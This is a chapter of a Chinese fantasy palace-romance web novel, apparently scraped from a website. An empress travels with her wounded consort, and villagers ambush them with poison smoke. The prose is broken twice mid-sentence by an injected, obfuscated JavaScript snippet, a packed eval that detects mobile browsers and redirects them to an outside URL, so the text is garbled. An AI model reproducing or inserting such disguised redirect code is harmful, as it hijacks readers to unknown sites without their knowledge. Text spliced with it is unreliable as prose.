此时齐浚刚从昏迷中醒来没有几天。由于他还是侍卿的身份,最开始被编在宫女内侍们的队伍中,徒步前行。 经脉里游动着十三根银针,虽然齐浚可以咬牙表现得行动如常,不让人看出自己每时每刻都承受着锥心刺骨之痛,但毕竟路途遥遥,刚开始还可以勉强跟上队伍,后来脚步就越来越踉跄,被后面的人一撞就跌倒在地。 朱炎独自坐在宽大的金辎车上,虽然狠下心没有管齐浚,却一直悄悄掀开车帘查看他的情况。见齐浚跌倒后艰难地爬起来,走了一段又再次踉跄摔倒,终于吩咐一声:“叫他上车。” 两个内侍奉命,将齐浚送到了朱炎车内。 见他进入车厢后向自己叩谢,朱炎故意冷冷地道:“磨磨蹭蹭地,耽误了朕的行程。” “以后不会了。”齐浚温柔地笑笑,“以后臣会越做越好的。” “过来。”朱炎拍了拍自己身边的座位。 齐浚的眼睛倏地一亮,脸上顿时充满了喜色,看得朱炎心中一荡——她有多久,没有看见过齐浚如此明亮的笑容了? 坐在朱炎身侧,齐浚不敢乱动,只是微微把身子往朱炎那边靠了靠。 “国师说你现在没有灵力了,那朕就不必怕你了。”朱炎伸出手臂,主动揽住了齐浚的肩膀,“以后你乖乖地待在朕身边,不要再生事惹事,朕会待你好的。” 朱炎的手压在齐浚肩膀,恰好一根银针随着经络移动到那里,疼得齐浚额头上顿时沁出了冷汗。但他没有表现出任何异样,大着胆子伸出手,挽住了朱炎的腰,就像他们以前温柔缱绻时那样:“以后都听安安的。” 朝思暮想的容颜近在咫尺,朱炎嘤咛一声,趁势靠在齐浚怀中,吻上了他的唇。后宫中朝夕相处两年,他的身体她太熟悉了,总是知道怎么让他撩起焚身之火。 深爱之人在怀,齐浚自然忍不住情动。然而气血涌动之下,十三根银针的游动速度也骤然加快,让齐浚蓦地痛得眼前一黑,耳朵嗡鸣,一股血腥气更是直冲上来。他连忙推开朱炎,别过头努力平复激荡的气血,深怕朱炎看出不同寻常的波动。 “怎么了?”朱炎看着他难受地喘息,皱眉问道,“是身体不适?”见齐浚还是不答,朱炎的语气忽然冷如冰霜,“或者是,你内心很厌恶朕?” “不,不是……”齐浚连忙摇头。 “那为什么朕一碰你,你就一副嫌弃的模样?”朱炎余怒未消,“心不在朕这里就算了,如今连身都近不得,朕留你在身边做什么?” “是臣身体还未完全康复的缘故。”齐浚抱歉地回答,理了理散乱的衣襟,“请陛下,再给臣一点适应的时间。” “你的意思是,怪国师下手太重?”朱炎怀疑地审视着齐浚,“朕可没听说废掉灵力后就不能碰了。” “请陛下恕罪,以后不会这样了。”齐浚默默垂下眼。他答应过国师沧澜,封印的秘密不能让第三个人知道,包括朱炎在内。 所有人都以为他被彻底毁掉了气海和经脉,哪里知道他的灵力不过是被封印,还有完全恢复的可能。 可是,就算没有沧澜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396196|200336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的威胁,他也不能说出真相。一旦朱炎知道他还留着灵力,就不放心留他在身边了。 毕竟有了第一次的背叛,就再也不能奢求毫无保留的信任。 而更有可能的情况是,他说了真相,朱炎也能理解。但出于对他的怜惜,她以后都会小心翼翼,再也不会碰触他了。 可她的怀抱,是他唯一的温暖。哪怕以后那温暖,会伴随锥心刺骨之痛。 “跪到门边去,什么时候想说了什么时候起来。”见齐浚什么都不解释,朱炎心头一冷,语气便更冷了。 “是。”齐浚知道女帝动了怒气,只能从她身边座位离开,远远地跪到车门边。 路途颠簸,哪怕女帝的马车再舒适,也难免震动。而每震动一下,就会带动银针肆虐。齐浚跪了半天,双膝双腿已痛得麻木,但他只是默默抿紧嘴唇,垂着头一动不动,没有发出一点声音。 漫漫长路,才刚刚开始。再大的痛楚,也终会习惯。 一只手忽然捏住了齐浚的下巴,让他睁开了被冷汗蒙住的双眼。 “张嘴,吐出来。”女帝威严地命令。 齐浚的神志有些不太清楚,听到朱炎熟悉的语声,下意识地张开了嘴。随即,鲜血淅淅沥沥地滑出了唇角。 “不敢咬嘴唇,你就咬舌头是吧?”朱炎一把将齐浚推在地上,霍然起身,“来人!” “别……”齐浚蓦地清醒过来,伸手想要阻拦她。他想说自己不是故意要咬舌头,他只是太痛了,却又怕她担心,不敢发出任何声音。他保证以后什么也不做了,只要她别将自己赶走。 “找太医来,给他看看。”朱炎的声音传完令,又放低下来,轻叹了一口气,“阿浚,你要朕拿你怎么办才好呢?” 7. 等待进入网审 随行的太医给齐浚诊了脉,只说是失血体虚,需要用上好的人参雪莲等珍贵药材来进补。不过那些药材只存放在荣京,行军路上没法配药。 太医的说法一听就不痛不痒,就连朱炎都不相信,毕竟法术和医术隔行如隔山。然而国师已经早几天回了荣京,朱炎想追问隐情也只能回去再说。 这个齐浚,每次都说不会再欺瞒自己,可一次次总是不肯说实话。女帝又恨又气,偏偏看着他那苍白却温柔的笑意再狠不下心来。她思索了半天,做下了一个惊人的决定: “大队人马行进太慢,朕带齐浚先走。” “陛下不可!”郑玄英大惊。 “此刻距离荣京还有半个月的路程,再这么颠簸下去,我怕他熬不过去。”朱炎解释,“齐浚说青要山的大祭司有医治他的法子,他想先去青要山。反正神宫距离此地不远,骑马的话隔天就到。” “那陛下何必自己去?”郑玄英劝谏,“派人护送梅侍卿去就可以了。” “朕送他去神宫治病只是顺路,主要是去占卜一下国运,肯定能在入京前回来汇合。”朱炎确实有心事,想去一趟神宫。 “那陛下多带一些随从。”郑玄英无奈同意。 “神宫清净,此处又是荣国地界,一向安宁祥和,朕带二十个骑兵足矣。”朱炎让郑玄英去安排,又叮嘱了一句,“为免杨丞相他们啰嗦,这件事一定要保密。” 没过多久,二十骑兵和朱炎都换了平常衣服,齐浚也被安排在了一辆铺着厚厚坐垫的马车里。为了让齐浚躺得舒服,朱炎没有坐马车,自己和骑兵们一起骑马,悄悄离开大部队,前往青要山。 青要山是荣国的神山,传说山顶有一棵神树,保佑着这一方土地的命运。两百年前,神树枯萎,水旱灾害频发,民不聊生,天下大乱,是朱炎的先祖建立荣国,恢复了一方安宁。而神树,也重新萌芽,郁郁葱葱,至今护佑荣国国运。 青要山上的神宫,就是荣国先帝为了供奉神树而建的。 神宫附近有一个百来人的村庄,叫青山村,朱炎以前微服上山时,常常路过,一切都很熟悉了。此番他们上山,照例下马到村里的一家饭铺,打尖吃饭。 经营饭铺的一对村民夫妻,和朱炎两年前记忆里的一模一样。他们热情地招呼朱炎、齐浚和二十骑兵坐下,端水端菜,十分麻利。 “你还记得这里吗?”朱炎扭头问坐在桌子旁边的齐浚。 “记得。”齐浚点头,苍白的脸上露出笑意,“两年前陛下刚刚登基,亲自到青要山神宫接我入荣京。下山之后,我们就是在这里吃饭的。” “是啊,两年前我接你入宫,给了你梅侍卿的名分。”朱炎忽然道,“你是怡国皇子,却只做了个侍卿,是不是觉得很委屈?” “只要能在陛下身边,怎么都不委屈。我那个皇子是什么样子,陛下最清楚。”齐浚温柔地回答。 “那个时候真好啊……”朱炎说到这里,忽然想起后面发生的事情,筷子一举,“不说了,吃饭。” 饭菜不算丰盛,但很可口,对于跋涉了大半天的旅客来说,足够让人满意。 正当众人吃得投入之际,朱炎忽然停下筷子:“这烟怎么越来越浓了?” 饭铺烧的是土灶,难免烟味,但此刻这烟越来越浓,越来越黑,确实很不对劲。 “客官有什么吩咐?”老板的手扯着大围裙走了过来,笑容可掬地问。 朱炎心头忽然警铃大作:“来人,将他拿下!” 然而已经晚了。二十名骑兵刚一站起,便摇晃着倒了下去。 那黑烟之中,果然有毒! 与此同时,饭铺老板围裙一翻,内里藏着的一把尖刀迅速朝朱炎刺了过来! 朱炎情急之下,抄起桌上一个盘子挡开尖刀:“你是什么人?” “我是荣国人,我们都是荣国人!”老板再度抄刀扑上,“暴君朱炎,你穷兵黩武,严刑峻法,害死了我们荣国多少人!今天,我就要为我儿子报仇!” “为儿子报仇!”老板娘也抄着菜刀从侧面包抄过来。 “诛杀暴君!为亲人报仇!”饭铺四周,不知何时冒出了许多村民。他们有的拿着扁担,有的拿着锄头,全都朝着朱炎围了上来。 “安安小心!”朱炎刚闪身躲开老板的袭击,身子却蓦地被推向一边,却是齐浚推过一张桌子,和原先的桌子一起将朱炎夹在中间。 “你干什么?”越来越浓的黑烟中,朱炎行动受制,一时竟分辨不出方向。最后的视线中,只见齐浚从倒地的侍卫身上抽出一把刀,朝自己走了过来。 一个可怕的念头从心底冒出,刹那间让朱炎毛骨悚然——自己吸入黑烟已经手脚麻痹,齐浚却为什么行动自如?还有,那些村民为什么没有一个人袭击他? 黑烟完全遮蔽了视线,朱炎什么也看不到了。她只听见呼呼的风声,感觉有鲜血飞溅到自己的脸上。脑子越来越昏沉,她终于倒了下去。 醒来的时候四周还是一片黑烟,却是有人将自己背在背上,一步步往前走。朱炎试探地叫了一声:“齐浚?”果然听到身下的人轻轻嗯了一声。 “你要带我去哪里?”朱炎警惕地问。她想要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396197|200336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻身下来,四肢却软绵绵地没有力气。 齐浚却没有回答,只是继续缓慢地往前走。 “放朕下来!你要干什么?”惊骇之中,朱炎发觉自己竟然恢复了一点力气,然而齐浚箍着她的手臂那么有力,她还是挣脱不开。 “叫你放手!”朱炎蓦地从头上拔下一根特制的簪子,那是她随身携带用来防身的利器。黑暗之中,她也分不清具体位置,就朝着身下的齐浚扎了下去,“放手!” 齐浚闷哼一声,还是继续走。朱炎死死攥着那根簪子,只感觉满手都是湿漉漉的血。正犹豫还要不要继续扎,齐浚忽然脚步一顿,整个人倾颓下去。 朱炎从齐浚身上跳下。四周漆黑一片,伸手不见五指,她不敢乱动,也不敢出声,只悄悄地蹲在一旁,观察齐浚的动静。 她听见了齐浚衣服的摩擦声,显然是爬了起来,待在原地不知道做什么。过了一会,她看见一道金红色的符咒在地上亮起,如同火焰,将四周黑色的烟雾慢慢燃烧殆尽。 四周渐渐亮了,朱炎终于看清了齐浚的模样。他盘腿坐在地上,垂着头,正对着她的后背鲜血淋漓,显然是被她用簪子扎的。而他身前的地上,是用血画出的符咒。 听见身后的动静,齐浚转过头,口唇嗫嚅了几下,想说话却呕出一口血来。 他的胸前,是比后背更大片的血色。 朱炎知道他唤的两个字是“安安”,也明白他方才不是不想回答自己,而是一开口就再也撑不住那股力气。可是她此刻并没有被他舍命相救的感动,而是僵立在原地,冷冷地问:“你为什么不怕毒烟?为什么那些村民不袭击你?” “我的血里……还有灵力……所以符咒还能用……”齐浚知道朱炎生出了误会,用力咳出淤血,终于能说出话来,“村民的举动……我也不明白……” 但是去青要山神宫的想法,可是你提出来的。朱炎把这句话咽下,也不知道齐浚是真不明白还是撒谎,但她知道再问下去已经没有意义了。“这是哪里?”她四下张望。四周是一片山地,他们已经离开了那个村庄。 “这里……靠近青要山了。所以我的符咒,能借助青要山的灵气。”齐浚支撑着站起来,“安安,那些村民可能会追来……我们快去神宫……” 见朱炎不动,齐浚只当她余毒未解:“你走不了……我背你……” “照顾好你自己吧,别半途倒下就好了。”朱炎嫌弃地扫了他一眼,“朕是荣国的帝王,有神树护体,那点毒现在已经解了。”说着,她扔给齐浚一根可以当做手杖的树枝,当先往青要山的方向走去。